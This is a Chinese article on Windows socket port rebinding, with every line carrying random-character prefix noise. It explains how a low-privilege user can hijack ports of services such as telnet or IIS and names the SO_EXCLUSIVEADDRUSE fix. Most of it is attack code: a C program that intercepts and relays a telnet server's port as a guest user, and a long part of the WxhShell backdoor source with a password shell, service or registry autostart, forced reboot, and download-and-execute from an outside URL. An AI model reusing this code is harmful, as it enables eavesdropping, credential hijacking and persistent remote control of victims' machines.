在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D+RG,8Ht s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Upf1*$p 3N?uY2 saddr.sin_family = AF_INET;
#+XKfumLk Yk }zN_v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I;=}@]9 p0b&CrALx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$uboOfS83G tP`,Egf"g 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P
)`-cfg h)sc-e 这意味着什么?意味着可以进行如下的攻击:
G'! Hc6OZ w(VH>t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*<J**FhcMu ?k/Uw'J4u/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j5AW} 9+pnpaZB0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B<i1UJ5 ${e{# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?;\YiOTda z`{x1*w_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=*t)@bn gq/q]Fm\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
iYFM@ta VPK)HzPG, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ee6Zm+.B vAX %i( 4 #include
@A
g=2\9 #include
F&Q:1`y #include
H`kfI"u8 #include
M>-x\[n+ DWORD WINAPI ClientThread(LPVOID lpParam);
yhZ 2-*pTg int main()
I6\l6 o {
6*CvRb& WORD wVersionRequested;
2: fSn&*/> DWORD ret;
(T,ST3{*k WSADATA wsaData;
IU&n!5d$)| BOOL val;
1--5ok
h SOCKADDR_IN saddr;
21W>}I"0? SOCKADDR_IN scaddr;
@qI^xs=Z int err;
k |M SOCKET s;
J-b
Z`)[Q SOCKET sc;
%G>*Pez% int caddsize;
}{HlY?S HANDLE mt;
e_7a9:2e DWORD tid;
C4ge_u# wVersionRequested = MAKEWORD( 2, 2 );
``U>9S"p) err = WSAStartup( wVersionRequested, &wsaData );
MK,#"Ty}zK if ( err != 0 ) {
ge*f<#|0U- printf("error!WSAStartup failed!\n");
u`7\o~$ return -1;
TtlZum\ }
7h0LR7 saddr.sin_family = AF_INET;
[8![UcMq 8KN0z< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^C_ ;uz YDO#Q= q% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WUZusW5s saddr.sin_port = htons(23);
c JGU~\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4;y*y tY* {
J&2cf# printf("error!socket failed!\n");
@} qMI
return -1;
rMUn ~ }
wm_xH_{F val = TRUE;
Dhv ^}m@ //SO_REUSEADDR选项就是可以实现端口重绑定的
s@V4ny9x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>E6w,Ab {
vT)FLhH6* printf("error!setsockopt failed!\n");
K<6)SL4 return -1;
#,lJ>mTe4 }
DOyYy~Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v:|_!+g: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i1}Y;mj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
274F+X *7FtEk/l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Gu-6~^Km9 {
h:[%' htz ret=GetLastError();
/5pVzv+rm printf("error!bind failed!\n");
wa2?%y_G return -1;
7\H jQ7__ }
:;HJ3V; listen(s,2);
?t46TV'G while(1)
LB$#]
Z {
Z7J8%ywQ caddsize = sizeof(scaddr);
K+p7yZJ //接受连接请求
@T)kqT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
XOsuRI? if(sc!=INVALID_SOCKET)
LR%]4$ /M {
k>SPtiAs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!59u z4 if(mt==NULL)
=~yRgGwJ {
&?"E"GH printf("Thread Creat Failed!\n");
n|q$=jE break;
v)1@Ew=Y% }
;auT!a~a# }
6 b-'Hu i+ CloseHandle(mt);
wkc)2z }
z>}H[0[# closesocket(s);
Y#7sDd!N| WSACleanup();
}6b" JoC return 0;
j2^Vz{ }
1L3+KD~ DWORD WINAPI ClientThread(LPVOID lpParam)
>sGIpER7 {
oR[-F+__ SOCKET ss = (SOCKET)lpParam;
yI$KBx/]n SOCKET sc;
WstX>+?' unsigned char buf[4096];
F}MjZZj(U= SOCKADDR_IN saddr;
29z$z$l4 long num;
+7E&IK DWORD val;
.|UIZwW0 DWORD ret;
7!F<Uf,V3 //如果是隐藏端口应用的话,可以在此处加一些判断
l^!raoH]q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;XagLy saddr.sin_family = AF_INET;
\
]v>#VXr_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&65I
6 saddr.sin_port = htons(23);
1{15#W if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"d"6.ND {
cb82k[L6 printf("error!socket failed!\n");
46[k9T return -1;
JIL(\d }
q!f'?yFYK val = 100;
GBSuTu8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tqk^)c4FF( {
*E.uqu>I ret = GetLastError();
tw
k return -1;
b=+3/-d }
T$!Pkdh if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9q[d?1 {
V10JExsJ ret = GetLastError();
;r?s7b/> return -1;
wNvq['P }
Ky[s&>02 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N||a0&& {
lq}m0}9< printf("error!socket connect failed!\n");
sU7fVke1 closesocket(sc);
s'B$/qCkR closesocket(ss);
XmJ ?oPr7 return -1;
dC>[[_ }
Xx,Rah)X3 while(1)
FQ_a=v {
<P@ "VwUX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Kt3T~k //如果是嗅探内容的话,可以再此处进行内容分析和记录
{Ri6975 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2=IZD `{! num = recv(ss,buf,4096,0);
s.$:.*k if(num>0)
1$_|h@ send(sc,buf,num,0);
=C#22xqQ. else if(num==0)
5Sz&j break;
WU\Bs2 num = recv(sc,buf,4096,0);
z"\<GmvB if(num>0)
k5g vo send(ss,buf,num,0);
p54e'Zb else if(num==0)
Lo*vt42{4 break;
q"0_Px9P }
NjFlV(XT} closesocket(ss);
*E|#g closesocket(sc);
U+G8Hs/y return 0 ;
ovk^ }
W4#E&8g% T&ib]LmR [hJASX9 ==========================================================
b
Bkg/p] 3w&Z:< 下边附上一个代码,,WXhSHELL
6GMwB@ b v8U&{pD, ==========================================================
@Zzg^1Ilpu "Wg5eML0 #include "stdafx.h"
-&h<t/U /lLG|aAe #include <stdio.h>
&SMM<^P. #include <string.h>
$Zn>W@\ #include <windows.h>
:Qu.CvYF #include <winsock2.h>
oM!zeJNA #include <winsvc.h>
/ _Fi4wZ #include <urlmon.h>
/u~L3Cp( RDxvN:v #pragma comment (lib, "Ws2_32.lib")
?$@E}t8g\ #pragma comment (lib, "urlmon.lib")
|Hv8GT =zW`+++3 #define MAX_USER 100 // 最大客户端连接数
@NYlVk2 #define BUF_SOCK 200 // sock buffer
%Vb~}sT: #define KEY_BUFF 255 // 输入 buffer
zP>=K R[W'LRh~:1 #define REBOOT 0 // 重启
DD'RSV5] #define SHUTDOWN 1 // 关机
H2{&da@D5 zB8J|uG #define DEF_PORT 5000 // 监听端口
+{\b&q_ PTpGZ2FZ #define REG_LEN 16 // 注册表键长度
PNpH)'C| #define SVC_LEN 80 // NT服务名长度
&UQP9wS4v H<Zs2DP` // 从dll定义API
N&G;` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'XI-x[w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#]2,1dJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RY}:&vWDk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.*Axr\x3 wKE}BO > // wxhshell配置信息
|!cM_& struct WSCFG {
eC='[W<a. int ws_port; // 监听端口
$-uMWJ)l char ws_passstr[REG_LEN]; // 口令
&4m;9<8\ int ws_autoins; // 安装标记, 1=yes 0=no
MtG~O;?8 char ws_regname[REG_LEN]; // 注册表键名
rT'<6]` char ws_svcname[REG_LEN]; // 服务名
DfZ)gqp/Av char ws_svcdisp[SVC_LEN]; // 服务显示名
\|7Y"WEQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
3uuB/8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Y'?{yx{ int ws_downexe; // 下载执行标记, 1=yes 0=no
K7},X01^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8Yw V"+Fu/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`G2!{3UD =c#;c+a };
)2?A|f8 vPsf{[Kr // default Wxhshell configuration
"b0!h6$!H struct WSCFG wscfg={DEF_PORT,
g7r0U6Y "xuhuanlingzhe",
tC&jzN" 1,
|DUOyQ "Wxhshell",
nm`}Z'&) "Wxhshell",
WYW@%t "WxhShell Service",
9R N ge;* "Wrsky Windows CmdShell Service",
15cgmZsS "Please Input Your Password: ",
xHaoSs*C9 1,
$uUJV% EX "
http://www.wrsky.com/wxhshell.exe",
yb-/_{Y "Wxhshell.exe"
eR!K8W };
d=a$Gd_$ +pjU4>) // 消息定义模块
*}Gu'EU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?j$*a7[w char *msg_ws_prompt="\n\r? for help\n\r#>";
h5ZxxtGU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^ oh%Ns char *msg_ws_ext="\n\rExit.";
hQLh}}B char *msg_ws_end="\n\rQuit.";
S %(R9N| char *msg_ws_boot="\n\rReboot...";
<xAlp;8m5 char *msg_ws_poff="\n\rShutdown...";
~!ICBF~j char *msg_ws_down="\n\rSave to ";
S^ JUQx7 +zzS char *msg_ws_err="\n\rErr!";
wi S8S{K5 char *msg_ws_ok="\n\rOK!";
[KsVI.gn 0hX@ta[Up char ExeFile[MAX_PATH];
]*\<k int nUser = 0;
oT^r HANDLE handles[MAX_USER];
9F|e. int OsIsNt;
l`vr({A k6??+b:rE SERVICE_STATUS serviceStatus;
2"B3Q:0he| SERVICE_STATUS_HANDLE hServiceStatusHandle;
?v Z5 ^k n$jf($* // 函数声明
V2*m/JyeB int Install(void);
Op
;){JT int Uninstall(void);
F>rf
cW2 int DownloadFile(char *sURL, SOCKET wsh);
&:Sb$+z int Boot(int flag);
5h>t4 [~ void HideProc(void);
/[Sy;wn int GetOsVer(void);
UdX aC= Q int Wxhshell(SOCKET wsl);
OuU ]A[r void TalkWithClient(void *cs);
?r}!d2:dX int CmdShell(SOCKET sock);
FUKE.Uxd int StartFromService(void);
i
,g<y int StartWxhshell(LPSTR lpCmdLine);
6|{uZNz d5tpw$A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p&(~c/0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
^g*/p[ <=&7*8u0+ // 数据结构和表定义
G+l9QaFv SERVICE_TABLE_ENTRY DispatchTable[] =
-I{J]L$S# {
U4,hEnJBT {wscfg.ws_svcname, NTServiceMain},
nuX W/7M {NULL, NULL}
n`g:dz };
OvW/{ My\ // 自我安装
s`"ALn8m int Install(void)
be5NasC {
# fl%~Y char svExeFile[MAX_PATH];
h}$]3/5H HKEY key;
4!tHJCq" strcpy(svExeFile,ExeFile);
kC2_&L 8v']>5S]# // 如果是win9x系统,修改注册表设为自启动
m7~[f7U if(!OsIsNt) {
^9I^A!w= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_\2^s&iJh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o*1t)HL < RegCloseKey(key);
&-6D'@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O"x/O#66 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|A@Gch fd RegCloseKey(key);
=v]eQIp return 0;
3a#j&] }
9@|X~z5E }
Y/w) VV }
9 ulr6 else {
fO{E65uA _G5MQ%z // 如果是NT以上系统,安装为系统服务
yy-\$<j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+qEvz<kch if (schSCManager!=0)
#]5|Qhrr+ {
QZ54Osdl SC_HANDLE schService = CreateService
yi/jZX (
yD!V;?EnK schSCManager,
Q{Lsr, wscfg.ws_svcname,
IRQ3> 4hI wscfg.ws_svcdisp,
dSBW&-p SERVICE_ALL_ACCESS,
Ctxx.MM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
DeTZl+qm1E SERVICE_AUTO_START,
e/h7x\Z SERVICE_ERROR_NORMAL,
^6
sT$set svExeFile,
U-EX)S^T[{ NULL,
Epm=&6zf NULL,
^R4eW|H NULL,
k6 f;A NULL,
,/g\;#:{@] NULL
nNff~u)I );
_"`U.!3* if (schService!=0)
v#`Wf}G {
xbA% 'p CloseServiceHandle(schService);
o s
HE4x CloseServiceHandle(schSCManager);
/Iu._2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jq&$YmWp strcat(svExeFile,wscfg.ws_svcname);
=}~hbPJM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kM?p >V6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
S,,3h0$X RegCloseKey(key);
RKP->@Gs return 0;
U;:,$]+ }
+xlxhF }
~4iIG}Y< CloseServiceHandle(schSCManager);
`$\Y,9E}x }
@.X}S"yr }
$|YIr7?R c#e_Fs return 1;
Q( KLx ) }
0fPqO2 5i$~1ZC // 自我卸载
41TB int Uninstall(void)
9c=_p'G3Fw {
-$4%@Z HKEY key;
WLWE%bDP 3EcmNwr if(!OsIsNt) {
Cs
%-f" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G?]E6R RegDeleteValue(key,wscfg.ws_regname);
EhybaRy;C RegCloseKey(key);
q'?:{k$% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hqY9\,.C RegDeleteValue(key,wscfg.ws_regname);
${ ~UA6 RegCloseKey(key);
MNiu5-g5 return 0;
p\8cl/~ }
(;a
O% }
J7.bFW' }
>M^
1m( else {
[lA[wCw DwZt.* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ys;e2xekg if (schSCManager!=0)
LxVd7r VY6 {
?Y'S
/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
u
hP0Zwn if (schService!=0)
O`dob&C {
lq_W;L if(DeleteService(schService)!=0) {
dTaR8i CloseServiceHandle(schService);
As (C8C< CloseServiceHandle(schSCManager);
h& (@gU`A return 0;
2`vCQV }
rA9x T` CloseServiceHandle(schService);
*ftJ( }
Ik1,?A CloseServiceHandle(schSCManager);
(`18W1f5W }
4W.;p"S2 }
%`}CbD6 RQU5T 2,
return 1;
Z=!*7@QY }
!r.}y|t?; [NvEXTd // 从指定url下载文件
B:z -?u#B int DownloadFile(char *sURL, SOCKET wsh)
=,[46 ;q {
4_N)1u ! HRESULT hr;
ja7Zv[ char seps[]= "/";
gH\r# wy| char *token;
0 \LkJ*i char *file;
=pcj{B{qa char myURL[MAX_PATH];
>Fld7;L?< char myFILE[MAX_PATH];
2a=WT`xf? 7Nwi\#o strcpy(myURL,sURL);
0v0Y(
Mo@ token=strtok(myURL,seps);
vEzzdDwi6 while(token!=NULL)
jD^L < {
,0 &lag file=token;
XU9=@y+|v token=strtok(NULL,seps);
\Zf&&7v }
Ip4NkUI3T #4//2N GetCurrentDirectory(MAX_PATH,myFILE);
-t6d`p;dR strcat(myFILE, "\\");
/"CKVQ strcat(myFILE, file);
HxY,R^ send(wsh,myFILE,strlen(myFILE),0);
BQS9q'u_ send(wsh,"...",3,0);
.4!N#' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N`Bt|#R if(hr==S_OK)
a
LmVOL{ return 0;
[k'Ph33c else
c(#`z!FB return 1;
<YeF?$S} G<jpJ }
j5'Jp} 6>=>Yj // 系统电源模块
)1fQhdO}x int Boot(int flag)
@L<[38 {
DQlaSk4hF_ HANDLE hToken;
@IiT8B TOKEN_PRIVILEGES tkp;
HnP;1Gi oLr"8R\d>t if(OsIsNt) {
dWqFP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4(aesZ8h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7-o=E= tkp.PrivilegeCount = 1;
\aZ(@eF@@Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0= 'DDy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
: l>Ue& if(flag==REBOOT) {
CY>NU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rIb[gm)Rk return 0;
(FjgnsW }
u\e#_*> else {
j^%i?BWw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9)l_(*F return 0;
y9*H }
!7xp<= }
q6Q=Zo@ else {
|Lhz^5/ if(flag==REBOOT) {
oy r2lfz* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y$ChMf return 0;
R NA03 }
amBz75N{ else {
:x{Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
68HX,t return 0;
{-Y_8@&